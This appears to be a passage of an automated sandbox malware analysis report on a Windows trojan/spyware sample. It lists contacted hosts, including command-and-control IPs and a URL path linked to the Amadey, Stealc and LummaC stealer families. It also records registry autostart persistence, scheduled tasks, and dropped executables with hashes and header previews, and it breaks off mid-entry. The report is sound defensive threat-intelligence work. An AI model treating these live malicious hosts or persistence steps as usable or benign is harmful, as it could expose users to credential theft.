00000019.00000002.2882778473.00000209A7D08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2881044448.00000209A7B99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3000812741.00000209AB17C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039263764.00000209AFF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3000812741.00000209AB13E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2961463851.00000209AA1E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2881578147.00000209A7BD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2639249130.00000209A7B98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 00000019.00000002.3014477171.00000209AB761000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/	firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/j	d015c0e328.exe, 00000007.00000003.2486481413.00000000059F2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.microsoftonline.com	firefox.exe, 00000019.00000002.3014477171.00000209AB761000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3014477171.00000209AB703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/	firefox.exe, 00000019.00000002.2849265731.00000209A4D03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2946956724.00000209A9F77000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etpsessionstore.closedTabsFromClosedWindows	firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://a9.com/-/spec/opensearch/1.1/	firefox.exe, 00000019.00000002.2991507780.00000209AA339000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%shttp://www.inbox.lv/rfc2368/?value=%s	firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
172.67.162.84	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
192.168.2.4
192.168.2.13
192.168.2.14
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561549
Start date and time:	2024-11-23 18:20:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	65
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@126/17@102/18
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 192.229.221.95, 52.12.64.98, 35.164.125.63, 35.80.238.59, 2.18.110.57, 172.217.19.227, 74.125.205.84, 172.217.19.238, 2.20.41.214, 34.104.35.123, 20.189.173.18, 172.217.17.74, 172.217.17.42, 172.217.17.35, 172.217.17.78, 88.221.134.155, 88.221.134.209
Excluded domains from analysis (whitelisted): ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, clientservices.googleapis.com, browser.events.data.trafficmanager.net, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, learn.microsoft.com, onedscolprdwus15.westus.cloudapp.azure.com, e11290.dspg.akamaiedge.net, a19.dscg10.akamai.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, login.live.com, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, safebrowsing.googleapis.com, clients1.google.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, otelrules.azureedge.net, self.events.data.microsoft.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficma
Execution Graph export aborted for target 9b8665be8a.exe, PID 7888 because there are no executed function
Execution Graph export aborted for target d015c0e328.exe, PID 5236 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7616 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7820 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7936 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:22:01	API Interceptor	25286136x Sleep call for process: skotes.exe modified
12:22:15	API Interceptor	320x Sleep call for process: d015c0e328.exe modified
17:21:09	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:22:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d015c0e328.exe C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe
17:22:24	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d015c0e328.exe C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe
17:22:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9b8665be8a.exe C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe
17:22:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 36321ea525.exe C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe
17:22:49	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run da69a13142.exe C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe
17:23:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9b8665be8a.exe C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe
17:23:11	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 36321ea525.exe C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe
17:23:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run da69a13142.exe C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe
17:25:04	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
34.117.188.166	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.65.91
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
AEROEXPRESS-ASRU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	31.41.244.11
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	31.41.244.11
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	sora.arm.elf	Get hash	malicious	Mirai	Browse	104.214.22.71
	sora.m68k.elf	Get hash	malicious	Mirai	Browse	104.147.102.52
	sora.x86.elf	Get hash	malicious	Mirai	Browse	20.74.225.207
	sora.mips.elf	Get hash	malicious	Mirai	Browse	13.105.41.140
	sora.spc.elf	Get hash	malicious	Mirai	Browse	20.190.241.21
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://myqrcode.mobi/qr/3c3aa5e1/view	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	Q460725_8952397_6525_PDF.htm	Get hash	malicious	Unknown	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	4.245.163.56 13.107.246.63 2.18.109.164 20.190.177.85
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	Aquantia_Installer.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	S#U043eftWare.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	Call 0f Duty A1 Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
	arcaneloader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84 20.189.173.17 20.189.173.20
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.149.100.209 34.160.144.191 151.101.65.91 34.120.208.123

Process:	C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1857536
Entropy (8bit):	7.948990199179652
Encrypted:	false
SSDEEP:	49152:WHQYeDtCCGShbk+cqcpoQuAl/M5Pu5TdNy8N0S:W9WCx8bkpqcpolAu9mTdNy8S
MD5:	F119A5326D7EF739B4B499912B709BC8
SHA1:	9BAA232461198249F1FF54F401AF2EED8973AEC0
SHA-256:	61BAD5EDC639BCE6554B8F1D5A1AC6B00E93797F27F18F897C98EE21B72C790C
SHA-512:	44711DA74817C73FFAC6F3DBB6BE8C1CBF807AD2EA8BB403E152198630BD503A2F1AE644DD96A75D95898D142A486A05AC260EDE01A2484C57BEEE344AA93F04
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g..............................I...........@...........................I.....(.....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... .`*..........v..............@...okzfovcg....../......x..............@...ujgghjao......I......0..............@....taggant.0....I.."...6..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	922624
Entropy (8bit):	6.592468201260329
Encrypted:	false
SSDEEP:	24576:4qDEvCTbMWu7rQYlBQcBiT6rprG8a+RO:4TvC/MTQYxsWR7a+
MD5:	B607F667B23F2E1A00ED1246555F3F09
SHA1:	0C75FFFF839C4ECEAEB2B3C0AD13002D297DE76F
SHA-256:	44B1E5DA02727AC5F7547095C9CDD7E2B97812993E99E4FFEDDAACC9CD95289A
SHA-512:	59E08DAF9034065EE35AFE43D93470B3D98D30DA4A76CE9C00C455D4985D9D3AAE95EB617C540C0029B910F7C3D6B67C0E5F5B336B45514C88F7C779F183EBC1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 34%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L.....Bg.........."..........d......w.............@..........................p............@...@.......@.....................d...\|....@..t........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...t....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2784256
Entropy (8bit):	6.458793375743167
Encrypted:	false
SSDEEP:	49152:huhAZDDcuicsNZbXDx/ZELi7sflRdhCz:IOZDDcutsNZbXDx/ZEEsth
MD5:	38F5CD89E8B865100E7F123B9E84E2A3
SHA1:	FC75E15EE0F5476A93A227172839B9846F804D1B
SHA-256:	B908490EEBCD33D505498B1A05E560D86DE224C3025E3DB179479850C71BCBC2
SHA-512:	10E5FA293787A3BD6B53ADF64756C333AFF344284820F9E4C317F722998FEC0B931971EF02903CD928CAB52DFF02C2BCD532B4C04E4DBEFDD861490AA6F56DF7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ....................... +.........`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...lwvfpqpj. .........:..............@...nnhflwrw. ..........V.............@....taggant.@......"...Z.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
